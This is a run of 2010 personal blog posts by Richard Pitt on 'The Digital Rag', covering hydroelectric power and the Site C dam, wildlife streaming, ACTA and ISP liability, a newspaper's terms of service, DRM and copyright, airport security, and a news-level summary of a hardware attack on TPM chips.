The Digital Rag

Earth Day and Site C Dam

Richard Pitt — Thu, 22 Apr 2010 09:29:21 -0700

There are only two primary sources of power available to man to run our civilization: the sun, and nuclear energy. Everything else is just one or the other (mostly power from the sun) stored somehow in a form that we can eventually release it from - coal, gasoline, natural gas - these all are energy stored at some point by plants and animals that got it originally from the sun.

Wave, water and wind power are also energy from the sun, since the sun causes and controls much of our weather and evaporates water from the oceans and deposits it as rain and snow on the mountains - where it falls via rivers back to the ocean.

About the only potential source of power that is not directly related to the sun is tidal power - since it is from the movement of the moon around our planet and the gravitational pull moving the water on our planet around.

Using up the old stored power - that of fossil fuels - is now known to be a "bad thing" in terms of keeping Earth the way we currently like it; sea levels about the same as now, weather not too harsh or foul and relatively consistent, etc.

Nuclear power has its problem, some of which we've figured out how to deal with and some we have not. It forms the backbone of many countries' power generation systems now and is again growing in popularity. Unless and until we can switch 100% to nuclear - something that I personally don't think will ever happen, or can somehow tap directly into solar power (solar cells and furnaces) in large enough amounts at reasonable cost I expect we'll have to continue to tap into its secondary effects in the form of wind and water turbines - and that's where "Site C" comes in.

There are two really good reasons to use water-powered electrical generation even if we have other means available:

It is 100% renewable
We can turn it off and on at a moment's notice

The first one is great - but it is the second reason I want to talk about here. We can turn on/off water-powered electrical generation quickly and easily.

You see, unlike nuclear, coal, natural gas and other "heat" based generation systems - water-power can be controlled minutely and quickly - and that allows us to use the heat-based generation facilities more efficiently and safely.

If a major storm brings down the power lines from a heat-based generation system to its customers, the generation system can have major problems. Where does it dump all that heat while it shuts down the burners or puts the control rods back into the pile?

Similarly, when you cook dinner at 6PM along with millions of others, how fast can such a heat-driven generator start generating the massive amounts of power you all need in the few minutes it takes to turn your stove on - and what happens at 6:30 when you turn it off? The computers at these stations start running up the heat as much as a couple of hours before dinner time - and waste a bunch of power doing it.

It's so much easier to just turn on the tap at the local hydro dam and pick up the load that way - and that's exactly how British Columbia's power people work things. They sell their power into the grid when it is needed and take it back out when there is too much - and we benefit both ways. Peak power and fast power are sold at a premium. Fast dumping of power is also a commodity that is sold. The heat-based generating stations will pay BC Hydro to stop making power so their heat-based generators can continue while they slowly shut down - and they'll pay Hydro to bring up power quickly and then taper off while the heat-based generators come online slowly.

This applies even if we get rid of all coal/gas/oil fired generation plants and only have nuclear. This applies if we have wind and solar powered plants too - since there are times when there is no wind and the sun does not shine all the time.

No matter what, we need hydro power - and we need a lot of it sometimes.

Yes, Site C will devastate a fairly large area of the Peace river valley - but we here in BC have already set aside far more wilderness in preserves and parks than will be affected and will put away far more.

Yes, Site C will allow us to sell power to other jurisdictions - but it will also help us by allowing us to sell power for more than most places might, and buy power cheaply at other times when others have "too much" due to having to shut down their heat-generators slowly. We are blessed with an exportable commodity that is renewable 100% - why shouldn't we take advantage of that while we're also helping the rest of the planet be more efficient with their heat-based sources of power - until we can all benefit by direct conversion of sun and nuclear at will, when/wherever we need it.

Obligatory disclaimer: I do not work for or consult for or deal with BC Hydro except as a customer of electric power.

richard

Tag: power, hydro, dam

Eagles and Eaglets and Busy

Richard Pitt — Mon, 19 Apr 2010 09:24:00 -0700

Over the past few weeks I've been again dealing with the huge influx of visitors and new members to the Hancock Wildlife Foundation web site - especially since their two main eagle nest cameras now have chicks in the nest.

Along with this, I'm in the midst of writing an e-book on how to do wildlife live streaming video. The number of such sites is growing, and from what I've seen it is again a case of people getting things to work despite not knowing the first thing about what they're doing. I'm running across systems where security companies have done the install the way they normally would, then expecting things to "just work" when making the hook to the internet - and of course it doesn't.

I'm also running across things like "nanny cams" being used on a bear den, in Winter. Stuff that just shouldn't work, at least not for long - and that present a hazard to both those installing it and to the critters they're watching.

The field is so new, there simply isn't any place that has all the basic information for those who luck into having an interesting critter nearby. The book will be released by Hancock Wildlife Foundation and proceeds will go to the foundation. Watch for it.

Excuse Me - I've Been Busy

Richard Pitt — Sat, 27 Mar 2010 09:27:48 -0700

I really have not broken my New Year's Resolution to write something every day - I just have not been publishing it.

I'm now the Executive Director of the Hancock Wildlife Foundation. In some ways this is good - and in others it's bad. Good - I now have the ability to do some of the things I've been talking to David Hancock about over the past 5+ years that the live streaming eagle nest cameras that the foundation is known for have been running on the web.

Bad - I now have to find the funding to do these things. This has left me just a bit short of time, yet it has also been the reason I've been writing so much - I've been writing grant proposals and business plans and project plans and, and...

Lots to keep me occupied but not too much I can directly publish. On the other hand, at least I've been writing.

So if you miss me and my writing, I'm sorry. If you come over the www.hancockwildlife.org site you'll see some more of it - I'm concentrating mostly over there for the time being.

I Could Listen In - But Should I Have? Telephone vs. Internet

Richard Pitt — Tue, 02 Mar 2010 19:29:55 -0800

The most recent "leak"(pdf) of the ACTA (Anti-counterfeiting Trade Agreement) negotiation papers has a point from the Japanese that would make ISPs liable for damages if there is even the possibility that they could (presumably through monitoring all traffic) know that an infringement "is occurring".

Back when I was working for the local phone company (many, many moons ago, before the telco was computerized) it was technically possible for me to "jack in" to any of the many switches in the switch room (I carried a "butt-in" with the requisite plug) and listen in on the conversation the switch carried. It was TECHNICALLY POSSIBLE - but it was not allowed unless I was specifically checking for a problem.

Today it is technically possible for the various network switches to monitor for almost anything... TECHNICALLY POSSIBLE - not mandatory.

I AM NOT A LAWYER (IANAL) but... it seems to me that if an ISP makes the attempt to look for anything - including what the Japanese are talking about - "illegal" music/video copying - then they make themselves liable for EVERYTHING - including the email from ex-lover to lover about murder, kiddy porn, and any/all mayhem that might be dropped into their legal lap.

This is an example of why I think ISPs should be considered Common Carriers. They should NOT be required or expected to look at the contents of the traffic they carry. They, as with anyone, should be required only to report any illegalities they come across in the normal course of their business - and the normal course of an ISP's business is not looking at the content of the traffic they carry.

A Song In Our Hearts - and In The Air - Thanks Mark!

Richard Pitt — Mon, 01 Mar 2010 18:48:14 -0800

All day today I've heard and seen the news talking about the wonderful actions and reactions of the Canadian public in the past 17 days. Just this hour I watched VANOC CEO John Furlong talk about how incredible the Canadian public has been - including their singing the Canadian National Anthem at the drop of a hat...

but nobody has thanked Mark Donnelly for getting the Canadian public primed for the Olympics!!!

You see, Mark has taken to "handing the mic" over to the crowd at Vancouver Canuck games for the past couple of seasons - and it has taken off. Many other Canadian teams' fans are starting to sing along too - and now it seems we have a movement.

Thanks Mark!

Now we have a chance at competing with our neighbours to the South in patriotism and spontaneous flag waving and anthem singing. Our showing at the 2010 Olympics sure has them (the US) quaking in their song-filled boots :)

Tag: canada canucks

My Newspaper Wants My Thoughts But... They Want Them As If THEY Wrote Them

Richard Pitt — Sun, 28 Feb 2010 08:08:14 -0800

Sometimes you just have to push back against those who don't get it. The publishing business is in general decline. Self-publishing is rising and society is moving away from following the publisher and toward following the individual writer. Some publishers still have terms of service that are 19th Century style and onerous - give up all your rights and those of your first-born too, etc.

I don't give in to this kind of thing and you probably should not either. The musicians and other performers are pushing back and it's time the general public did too.

I sent in a piece to the Province newspaper and got the following as a reply:

Thank you for sending us a letter to the editor.

We would like to take this opportunity to invite you to join The Province's E-Street.

OPINIONS WANTED.

E-Street members provide us with comments on a variety of topics. Members are asked for their opinions on everything from politics to entertainment, sports to current events.

On a regular basis, members are sent a single question. Responses are not mandatory-if you're not interested in the question, there's no need to respond.

Selected responses are published, along with your picture, in The Province and online at www.theprovince.com.

For more information or to join E-Street, visit www.theprovince.com/estreet

It's your turn to speak up. We want to hear your voice.

-The Province

CONTACT:estreet@theprovince.com

Great! they want my opinion and have put together a system to get me topics. I already subscribe to one such writers' topic list, why not another... then I read the terms of service attached to the signup form. Nope - they want too much in the way of rights to what I write.

The following was sent to the Province Newspaper and Ros Guggi, Deputy Editor, in reply...

I recently submitted an opinion to your paper - you chose not to print it and that's fine. In return you've suggested that I join your

e-street. https://contests.canada.com/theprovince/estreet/enter.html

In going through the mandatory registration process I actually linked to and read your "termsofservice.html"

http://www2.canada.com/aboutus/termsofservice.html document, including the mentioned Schedules B and C "below," which in C, the section dealing

with submitted text, states:

"(a) by posting, e-mailing, transmitting, uploading or otherwise submitting any Submitter Content to any canada.com Sites or Services, you hereby irrevocably grant and assign to canada.com the unlimited right and licence, for the full term of copyright or any extension thereof, to copy, adapt, transmit, communicate, public display and perform, distribute and create compilations and derivative works from such Submitter Content, and to publish, reproduce and otherwise use and exploit the Submitter Content in any manner and in any and all media, whether now known or hereafter devised, throughout the world, without further compensation. canada.com shall be entitled to edit the Submitter Content, and you hereby waive in favour of canada.com and its assigns, all "moral rights" in and to the Submitter Content. Nothing herein shall obligate canada.com to use or publish the Submitter Content in any manner. The rights granted hereunder may be freely assigned or sub-licensed by canada.com to any third party."

(emphasis is mine and since I sent the original in text form, did not show up in the email version - richard)

You want me to waive my my "moral rights" in favour of you? Sorry, this is the 21st Century and nobody but me gets them. I have no problem assigning a license to you "in perpetuity" for your use - but I will not sign away all my rights to what I create to you or anyone. If you want to use my writings you will attribute them to me, now and forever, and you will check with me on any edits you do. I also reserve the right to publish my writings, even those I submit to you, anywhere else I wish - a grey area not covered by your TOS but one that I'm adamant about.

I may not currently write "for a living" but I do sometimes earn a bit here and there and I fully intend to continue to do so with

any/everything I write, including things I might submit to your or other publications.

It is certainly within your rights to set the barrier as high as you want for those silly enough to express their opinion via your publications - but as with any other "scam" I come across I'll be writing about this too. Publishers need to be dragged (kicking and

screaming it seems) into the electronic age, the age of online reputation of individuals every bit as much as publications.

I run a number of web sites and all, without fail, provide that "the opinions and writings of the submitters are theirs..." a policy that

many/most sites now adhere to.

You might come over and read some of my writings - published under the Creative Commons Attribution Share Alike 2.5 Canada license. This means you can use anything I write as long as you attribute it to me. You can even edit it and re-purpose it, as long as any such work is also covered under the same license. http://digital-rag.com/

Richard C. Pitt

ps. the article you rejected is there too.

The above was sent today - I'll post any follow up I receive.

My objection to their wanting my "moral rights" stems from the fact that I've actually read the copyright act and looked up the concept. Roughly, it means they can re-purpose my works, edit them, and don't have to attribute them to me. It is as if they wrote them, not me.

added later: It appears that in Canada I might "waive" my moral rights but can't assign them (as this TOS requires me to do) - doesn't matter, I don't want to waive them either.

The original article is "Refuse Terror"

Tag: copyright moral rights

ACTA - US Wants Us All To Suffer Like They Do

Richard Pitt — Sat, 27 Feb 2010 09:30:25 -0800

The USA passed their DMCA back in October of 1998, and it seems they've been trying to get the rest of the world to suffer along with them because they can't get rid of it.

The leaked list of those countries objecting to opening up the currently secret ACTA (Anti-Counterfeiting Trade Agreement) I note that the United States is top of the list. Their stance is that all countries should enact laws that are similar to, and in fact worse than, the Digital Millennium Copyright Act. I can't help wondering if this is really all about "counterfeiting" or if it is simply that they're suffering because of their rush to the DMCA and want us all to suffer along with them. It's much easier to get us to pass new legislation than it is to fix their own or repeal it.

Tag: dmca acta

The Decade of Digital Rights Management (DRM)

Richard Pitt — Fri, 26 Feb 2010 08:01:08 -0800

Defective By Design - that's what their site is called, and they write exclusively about Digital Rights Management. Their most recent post is a timeline of the march of DRM over the past decade, from shortly before the Digital Millenium Copyright Act (DMCA) was passed, through the debacle of the Sony rootkit, to Amazon's deletion of purchased copies of Orwell's 1984 on the Kindle.

An interesting read - and links to the articles that give the details on each item.

Tag: drm dmca

Copyright and Life Plus 50 Years - What is Life?

Richard Pitt — Thu, 25 Feb 2010 08:35:14 -0800

The question that hit me today is: If a computer program creates music, how long does the copyright last?

I write about copyright. It has been one of the things I've been pushed into since we had our early ISP, Wimsey. The typical length of a copyright is life plus 50 years. Some countries are pushing this to life plus 70 years. Leaving aside the various arguments pro and con on the actual length, let's talk about "life" in this context.

The question popped into my mind as I was reading this article on the work of David Cope, a UC Santa Cruz professor emeritus in music. He has created a program that can write chorales in the spirit of Bach such that most people can't tell which was written by the software running on a machine and which are original Bach works.

Maybe the life is "life of the author of the software" or maybe it is "the copyright period of the software" (which is author's life plus 50 years) - which would make the copyright on the music created be David Cope's life plus 50 years (the author) plus another 50 years for the "life" of the software. Kind of a second order "life" time.

So what do we do when the software is declared to be alive? Artificial Intelligence (AI) is getting close - at least we have not yet given up on it. At what point do we fall off the cliff of speculation into the reality of having created life from software - and how long will it live?

Our copyright laws need to take this into consideration - especially since Emmy, the name of the music writing software, wrote 5,000 Bach-inspired pieces in the time it took David to go out for a sandwich. A couple of dozen such machines could saturate all the various genres of music with works in a matter of days, locking other composers out of earning a living.

Think about it. I'm really musing on (literally) Life.

Tag: life copyright

Failing Memory

Richard Pitt — Wed, 24 Feb 2010 14:00:44 -0800

It turns out that all the problems I've had with my computer system these past couple of months, other than the failed hard drive, have been because of a bad memory card.

My workstation is pretty big - in both physical and computer sense. I have 3 monitor cards, currently with 4 monitors spread in front of me. The system is a AMD quad-core processor with 8 Gigabytes of RAM and 3 Terabytes of disk configured so I see 2 Terabytes, the rest being mirrors/spares

Most of the time my machine has lots of spare RAM - my system meter shows it is using about 1.8 Gigs at the moment, and it typically is something less than 6 Gigs used for programs - the rest the system uses to help make the disk faster.

I thought I had some problems with some new software I'm running - a "latest and greatest" version of Linux with some speed-up items in it. I was dreading having to downgrade the system back to an older version.

The problems have been things like the browsers failing and closing - or difficulty with my email. Nothing that did any direct damage, at least until yesterday. Yesterday I pulled about 300 images off my camera and set my system to creating thumbnails of them - and noticed 3 images that were badly mauled in the process. This just could not be the operating system - so I booted up the system with a memory tester and low and behold - it failed!!!.

I traced the problem to one of the four modules - and had to downgrade to only 4 Gigs of RAM. I purchased a replacement set and here we are, back up and running and stable again. Whooopppppeeeeee!!!!

Tag: ram memory

The BC Wild

Richard Pitt — Mon, 22 Feb 2010 11:13:07 -0800

I'll be thinking of you while I'm up in the British Columbia rain forest. We're filming bears, wolves and all manner of wildlife in the Great Bear Rainforest.

Join us... and the animals of the forest.

Wolves

Richard Pitt — Sun, 21 Feb 2010 11:10:05 -0800

While I'm up visiting Ian McAllister - you should visit his works

Try "The Last Wild Wolves" - wonderful!

Bears

Richard Pitt — Sat, 20 Feb 2010 08:28:36 -0800

BC has an incredible wealth in "out there" - wilderness. I'm blessed with a trip out there for the next 3 days - and the potential to see some of our bears, wolves and other creatures in their natural habitat.

I'm mostly an urban person. I don't go hiking anymore, nor camping - no time and I'm getting older. But I appreciate the wild and relish the opportunity to visit.

My friend, Andy Wright, has put together an petition and a book, Faltering Light - please visit and if you can find it in your heart to sign the petition, please do so.

Refuse Terror

Richard Pitt — Thu, 18 Feb 2010 13:21:11 -0800

The Vancouver Olympic Committee (VANOC) put a fence around the Olympic Flame, a fence that kept people out and away from it even as it called them together to celebrate the Olympics here in Vancouver.

This is just plain not right! It is a reaction to terrorism that is itself simply giving in to the terrorists (or anarchists or vandals or whatever you call them.)

I'm about to get on a small plane to travel up the BC coast to a small town for the weekend. I'll likely have to pack my pocket knife in my checked luggage (on a float plane?) and put up with the indignities of a body search and such - all in the name of counter-terrorism.

Hey guys, the terrorists have won! They have us doing things that we didn't do before, in fear for our lives. They have caused our governments and those of other countries to trample on our privacy and make our lives miserable.

Instead, they should be guarding our rights to privacy and spending all those millions of dollars, now spent on invasive technologies, on actually finding the criminals - because that's what they are, criminals - and prosecuting them to the limits of the law. And if the law is not harsh enough, then they should be changing the law, not to trample our individual and generally law-abiding lives, but to ensure that any who are caught in terrorist acts are cast out from our civilization and forbidden from ever becoming a part of it again.

Teach us how to spot the Trojans in our midst. Teach us, the citizens of this country, how to defend ourselves in an airplane when we are confronted by someone trying to do something damaging. We are willing. Those on Flight 93 on 911 knew what they had to do and they did it. Those on Flight 253 dealt with the so-called "underwear" bomber when they had to.

People have shown the ability, if not the actual willingness, to die to protect others. Give us all the ability to make such martyrs few and as useful as possible. Give us training. Give us at least the minimal ability to use our pocket knives, or our knitting needles, or our laptops or whatever we decide to carry to our destinations.

Lead Us - by proactively dealing with the problem instead of knee-jerk reacting by making us all out to be criminals and destroying our dignity. Provide us with the tools and training to be as effective as we can be in searching out or recognizing those who would try to terrorize us.

Follow Us - by recognizing that we are not willingly participating in your (government) reaction to terrorism - you need not react in this way.

or at least Get the Hell Out of the Way - so we may do what is necessary when the time comes. We will not fail you or our fellow countrymen or the world.

Give us back our dignity. Give us back our little pleasures. Get your reactive insanity out of our face. Let us get on with our lives with as much pleasure and as little intrusion as you can.

richard

ps. After I wrote the above I went looking to see if anyone on Facebook has similar feelings - and put the words "free the Olympic flame" into the search engine. It came up with this freshly created group - please join us. There are two now - make this grow quickly.

pps. VANOC seems to understand, at least a bit. They have put the flame in a "secure" zone so "had to have a fence" (they could have put it somewhere outside such a zone) but now they have replaced the fence with a plexiglass wall - much better! Thanks!

The rest of the point still stands - the size and placement of the "secure zones" has every bit as much to do with giving in to the terrorists. Yes, not having them, or making them smaller and less intrusive, would have likely meant some increased potential for violence but somewhere the balance away from being "terrorized" must tilt back to freedom. richard

Tag: vanoc terrorism olympic

Peer Review Pressure

Richard Pitt — Thu, 18 Feb 2010 11:07:59 -0800

Social sites are "THE" thing these days - and peer review of the content of the user-generated sites is the only way they can function. The problem is, peer review can be abused and/or abusive, but you have to take the bad with the good and just keep on keeping on...

A good friend of mine posted a very innocuous post about her dog on the dog's web site the other day. The site has a twitterfeed setup and the posting was noted to both Facebook and Twitter by this automatic feed. I use this facility myself and in fact suggested to my friend that this was a good way of ensuring people know about new posts.

To her horror, the Facebook post got removed because it got flagged as "abusive" by someone. Nothing she has done can find out what made this post "abusive" and that's just the way it is - someone, on her friend list probably but could have been anyone, either really didn't think the post was OK or hit the button by mistake. That's it, game over.

My friend removed the original post to the blog and the twitter notice and sent me a worried note asking my advice. Well, since I love such questions, here's the answer I gave her:

Put on a thick skin and just post something similar again (not the same) and see if it happens again.

And that's the point - you have to develop a bit of a thick skin in this social networked atmosphere. Some people may hit the wrong button. Some people may develop a grudge for reasons only they will ever know. Some people do some things just for kicks. Some people do things like this because they can - and it may eventually lead to all manner of abuse in the real world at some point.

And that's why you can't let one incident rule your life:

Accidents happen

Malice is its own reward and ignoring it is the best defense.

Repetition will eventually get the perpetrator caught - so let them repeat, then you have some reason to get the site owners involved and they have evidence to do something about it.

In fact, looking back on my advice I'd almost say "post the same thing again and see if the problem repeats" - especially if you are pretty sure you're not contravening any of the rules of the sites involved - and in this case I'm fairly sure that's the case.

Just my $0.02

richard

Tag: peer review social site

Unfit? You Can Travel Anyway Says Kay

Richard Pitt — Wed, 17 Feb 2010 09:40:30 -0800

Our friend, Kay Davies, is a fellow writer. OK - she's a professional, I'm just trying to get good enough that she doesn't send me spelling and grammar corrections every day. You see, she's been a professional editor for many years.

Most recently she's been writing of her and her hubby's travels - and since she's "mobility challenged" - she calls it "Unfittie" travel.

Please travel along with her - it's worth it.

Best Description of the Internet

Richard Pitt — Tue, 16 Feb 2010 10:02:23 -0800

This week seems to be a TED (Technology, Entertainment, Design) week. I just finished watching Jonathan Zittrain's talk on the "Random Acts of Kindness" of the internet.

Having lived through the growth from shortly after the first sprouts of the seeds of the internet, I have to say this is one of the best descriptions of the internet as it is today that I've seen.

Tag: internet

Sharing Pain to Learn How To Relieve It

Richard Pitt — Mon, 15 Feb 2010 09:16:09 -0800

We all think of the conversations we have with out doctors as dealing with symptoms that are peculiar to ourselves, yet we hope the doctor has enough experience that they'll have seen something similar and know how to treat us in the best possible way. The problem is that we are really far better informed about how we feel and how something works or doesn't work than the doctor - much of their knowledge is second-hand (from us) and most of their experience with others is third-hand at best.

The internet continues to astound me - and I've been around it far longer than most people.

I don't live in constant pain, or with a debilitating and/or fatal disease (well, OK, I have diabetes but it is very much under control), but I know several people who do. If you do too, then I think you should look at this video I recently watched and maybe join the site it talks of. One of a number of TED (Technology, Entertainment, Design) talks, this one details some of the information coming out of the web site founded by Jamie Heywood and his now deceased brother who died of ALS, the first disease it covered.

Wouldn't is be wonderful to be able to get knowledge about others' reactions to drugs and regimes directly from them, rather than through the interpretation and filtering of the medical system? It works for a lot of technological topics (mostly to do with the internet so far), why shouldn't it work for medicine too?

In fact, that's exactly what the PatientsLikeMe.com site tries to do - and succeeds by the look of things. More than that, it provides a forum for people with similar diseases to discuss, outside of the medical community, their experiences with the various drugs and regimes they've found or been prescribed, and to chart their progress. It provides tools and facilities that make the visits to your doctor more productive by showing them the real outcomes and possibly the relationships to others with similar disease and at similar stages in the progression.

Again, the internet breaks the barrier of physical communication by enabling peers (those with similar symptoms and diagnoses) to come together and share and support each other. I've asked to be notified if/when they turn on support for type 2 diabetes. If you don't see your particular chronic ailment on the site you might do the same.

richard

Tag: als pain medicine fribromyalgia hiv aids

I Love My Honda Goldwing - But...

Richard Pitt — Sun, 14 Feb 2010 09:14:01 -0800

I have not found any official notice or news piece, but here in Vancouver at least I know from talking to my own dealer that Honda Canada is cutting back to only 3 dealers from the current 5 in the region - and my dealer, CR Cycles here in Maple Ridge, is one of those on the chopping block. The "Find a dealer" portion of their web still lists CR, but does not tell you that your warranty period would outlive their life as a dealer - which expires the end of this year. In talking to their service manager I learned that they won't be able to order parts directly from Honda anymore either - boosting the cost of my repairs, even if I do keep going back to them.

Yesterday I visited one of the 3 shops that is being retained - Holeshot Motorsports - across the new Golden Ears bridge (and a toll charge) away in Langley, and even though it is a much larger dealership, didn't even see a Goldwing on the floor.

My current bike is a 2003 that I purchased new in 2004, and since I ride it both all year and for business, it has quite a few kilometers on it. I'm at the point where I'm looking to trade it in on a new machine this year and now I have to decide if this will be another Honda, and if so, where I'll get it from.

There are many Goldwing riders I've run across who have simply gone to the US to purchase their new machines. The saving, even with the cost of flying to some place like Florida, is enough to more than justify the minor hassles of getting non-Honda warranty and getting the minor modifications done necessary to get it licensed in Canada. The change in value of the Canadian dollar vs. the US dollar has made this even more appealing.

Now I have to deal with getting my bike serviced literally miles away from where I normally am. Carter no longer has their dealership in Coquitlam, only their original one down on Granville Island. The Honda Centre is almost as far away, and Holeshot is a pain to get to, even though not all that much farther away than CR is.

In an age when their competition is opening up new dealerships and already have more than the few that Honda has, I'm wondering what is going on. Honda has just built a new factory in Japan where all motorcycles in their line are being made - including the Goldwings which were previously made in a plant in the US.

I love the GL 1800 - it truly is my dream machine - but maybe it's time for a new dream. Sorry Honda, you've annoyed me.

Food - Live to Eat or Eat to Live - Just Do It Right!

Richard Pitt — Sat, 13 Feb 2010 11:01:22 -0800

Tuesday evening is family night at the Pitt home. Our two boys have grown and moved out, one is married, the other living with his love - both only a few minutes away.

When I grew up it was Sunday night at grandma's - pot roast or some other typically British fare.

These days weekends are sacred - too many things on the go and the time is too precious, so we decided on Tuesdays instead and with fairly rare exceptions we've enjoyed them for a couple of years now. This helps on a couple of fronts too - it keeps us in touch, always a good thing. It gives us as parents assurance that out kids and their loved ones are getting at least one good meal a week, and in our case it helps with the fact that Shirley just can't seem to make small amounts of food. She grew up as the oldest of 7 kids and cooked quite a bit, so there are usually leftovers. My daughter-in-law has taken to bringing over plastic-ware to take away the booty.

I learned a bit about cooking from my mom - and a lot more from my first wife, Joan, who is a home economics teacher. In my 30+ years with Shirley (#2) I've done a lot of cooking but as per usual for men, it's mostly either breakfasts or barbecue. I'm in charge of bacon and steaks. Along the way I've been teaching the boys what I can and Shirley has too. They're not good at it - but they at least understand basics and can identify ingredients and understand basic food safety.

About 15 years ago I was diagnosed as diabetic - type 2, aka "insulin resistant" - and told to lose 50 lbs. Today I'm about 200 lbs - then I was 245. I've been as low as 195, my "ideal" weight but at this time of the year I don't get quite as much exercise as I do during the better weather, so I've put on 5 lbs. I now watch my weight all the time and have changed my eating habits 100% from the lazy, fast-food and pop of the past (back) to mostly home-cooked and high-quality but small portions.

All this is leading up to my asking you to watch a video. No, it's not by or about me - it's about obesity and the problem we have with it today. The video is of a talk given by Jamie Oliver at the TED (Technology, Entertainment, Design) conference this month in California.

Jamie talks about the fact that in many homes both in Britain, his home country, and in America (and by my estimate Canada is not far behind) there now is a third generation of children being raised who know nothing about food - not how to select it, how to cook it, or even how to identify the basic ingredients. This is the result of a fundamental change in out society that includes both the rise of fast food and the failing of government and education systems to guard the passing on of food culture and information to our children.

I recognized the symptom - but missed the real problem. This helped focus it - I hope it does for you too.

Tag: food diabetes obesity education

Conservatives Stifling Free Speech from NGOs

Richard Pitt — Fri, 12 Feb 2010 14:28:04 -0800

It appears that the Stephen Harper lead Conservative government of Canada is stomping on free speech - at least freedom to speak by those who suck at the government tit so to speak. Non Governmental Organizations (NGO) that receive any funding from the federal government have been told to "be careful about your advocacy" by Keith Fountain, policy director for International Co-operation Minister Bev Oda.

Many (most) NGOs do a lot of work that benefits our society, and they have to survive across changes in government. If nothing else, the NGOs tend to act as advocates for some segment of the population in the never-ending fight for rational use of our resources and energies - pushing and pulling and hopefully balancing some of the excesses and neglects of other portions of our society - including government.

Some NGOs act as bellwethers in leading us toward better use of our environment. Some act as advocates for various segments of society that are in need. Some keep business honest and watch for long-term effects of short term decisions. I personally don't think we could get along without NGOs and their crusades - and most governments understand and agree with their continued existence and at least minimal governmental funding.

The problem here is not one of "should government be funding this NGO which is trying to do this and that?" The problem is one of using a specific warning against free speech as a whip. This is not a "governmental" action done with due consideration to the benefits and costs to society surrounding funding of a NGO, it is using political influence to stifle an NGO's ability to do what it sees is its course and mandate.

Fair debate on whether or not to fund NGOs in general and/or a specific NGO in particular and due process in this is one thing. Using direct threat is quite another.

Mr. Harper - we're watching you - and at this point I personally don't like some of the things you're doing.

Obligatory disclaimer - I do work for a NGO that is looking for federal funding for some projects

Tag: ngo freedom of speech

Open World vs. Closed World - EU vs Canada

Richard Pitt — Thu, 11 Feb 2010 09:15:03 -0800

On the heals of Canada finally getting the OK to bid on US contracts funded by the US Stimulus package's "Buy American" clause it appears the European Union wants similar concessions from Canada for their member countries to bid on all things governmental in Canada, right down to the level of municipalities and school districts. There's push-back from some in Canada

Now don't get me wrong - I'm all in favour of open trade. In fact I like a lot of what the European Union has done to open up things like travel and business opportunities in Europe and I think that the US/Canada relationship should be much the same. This even includes the concept of shared currency and easier border crossing, in contrast to the more recent tightening up of the border. If the Americans won't open their border, then I really think we should be looking both to Europe and to the East.

But then I'm a bit (a lot) of an idealist in some things like this.

The story on Embassy Magazine's site quotes Canadian Union of Public Employees (CUPE) and Public Service Alliance Canada (PSAC) position papers which in effect defend Canada's (union dominated) public service's right to "use taxpayers' money to benefit taxpayers" in protecting job creation, community economic development and economic renewal through purchasing policies. In effect they're saying we should purchase locally in order to ensure the local economy, rather than purchasing from the lowest bidder.

This closed-view of world economics is no longer viable in today's global economy. We deal at great distances in today's information economy because the internet is open and for the most part does not discriminate by physical location. Transportation has changed to gear itself to moving goods directly from producer to consumer - mostly bypassing the middle-men of jobber, wholesaler, retailer, and in the process both cutting time to deliver and cost to the end consumer.

As an example, my good friend David Ingram decided one day he wanted to order 1000 of the "blended" US/Canada flags he loves giving to his cross-border customers. He sent an image of one to a flag manufacturer in China, received a quote, gave the go ahead, and received his 1000 flags in 13 days. His long-time local supplier here in the Vancouver area, a retail store well known for carrying all manner of flags and such, had not gotten back to him with a quote before the flags from China were delivered; and when the quote came in, it was for almost triple what he actually paid.

So to CUPE and PSAC I say - no, I'd rather my government deal with the lowest cost supplier of goods and services because at the end of the day lowering my tax-funded costs will end up putting money back into my pocket as lower taxes and that is far better than continuing to fund more and more hoards of low efficiency but local businesses. If I have more money in my pocket then I'm going to be the one helping the local economy by purchasing more services and such from whoever locally has the ones I want - thus stimulating the economy far more than government can in the long run.

richard

Tag: unions eu economy

It Only Takes One Person to Break Things Today

Richard Pitt — Wed, 10 Feb 2010 09:35:02 -0800

A recent article points out that one person has cracked the secret to a whole slew of devices based on a "Trusted Platform Module" or TPM (not to be confused with "Technical Protection Measure" which it also is) - this is a chip that holds a secret key to the rest of a computer's secure software and breaking it means that all manner of otherwise secure facilities are now no longer considered as secure.

These include things like the X-box and the way Microsoft limits additional hardware and software to only their own "signed" selections. It also includes the security of most cell phone texts and email.

The chips' manufacturer, Infineon (their chips are the ones most likely to be used in this case, although there are other manufacturers) is right in claiming that, while this shows the possibility is there, it is only useful if one has the actual device and a lot of very technical skills needed for each and every system that is to be cracked, including use of various acids and some extremely fine needles to tap the very fine contacts inside the chip.

All in all, this particular hack is unlikely to be of concern to many people or companies - but other hacks that involve use of less sophisticated but nevertheless complex tactics, such as "jailbreaking" the iPhone or other locked-down hardware are much less dependent upon skill the second time around.

You see, the skill is in finding the initial attack method - replicating it for the second, third and millionth use of the technique is trivial. The "security by obscurity" technique employed (hiding the key in something that takes some getting to - but once the key is found, having the lock in plain site) is not very useful in today's communicating world.

News of a new exploit of a flaw in Microsoft Windows is passed around in seconds - and in fact there is a market for it where you can purchase such information.

Hiding the key inside hardware that has active components watching for hacks is far better. I expect more products will employ this kind of technology in the future. If the reason for using such keys is to help me protect my own security then that's a good thing - but if it is to help protect a manufacturer's business model then it is not.

I refuse to purchase anything that has strings attached to it by the manufacturer such that I do not truly control it for my benefit alone. How about you?

Tag: drm tpm

Participatory Democracy in Action

Richard Pitt — Tue, 09 Feb 2010 09:23:57 -0800

OK - I've caught the Facebook bug - well kind of. It's finding me new readers for the Digital Rag and it's giving me an insight into what people find interesting and what causes they believe in or are interested in.

On the other hand it sure does bring out the strange in people too. Some of the groups I'm asked to join are just plain downright weird. I have to agree with my friend Ozzie that the number of requests is fast outstripping my ability to deal with them. There is a limit.

What I do find interesting is both the relevancy of real causes people find and join, and the number of people that hop on some bandwagons. The anti-proroguing (of the Canadian parliament) movement pretty much jelled on Facebook and then spread to meat-space where the demonstrations happened. This kind of participatory democracy is a tribute to our newly connected way of life - don't let politicians and bureaucrats screw it up for us.

richard

Tag: democracy facebook

Computer Soup

Richard Pitt — Mon, 08 Feb 2010 08:34:39 -0800

I'm ~~blessed~~ cursed with a house full of computers and equipment. In fact I have so much that if I turn them all on I get a visit from the local electrical inspectors looking for marijuana grow ops.

While I'm usually a "if it ain't broke, don't fix it" kind of guy, every now and then I actually have to fix one - and sometimes have to upgrade at least my own workstation - then hand my old down to another task, etc.

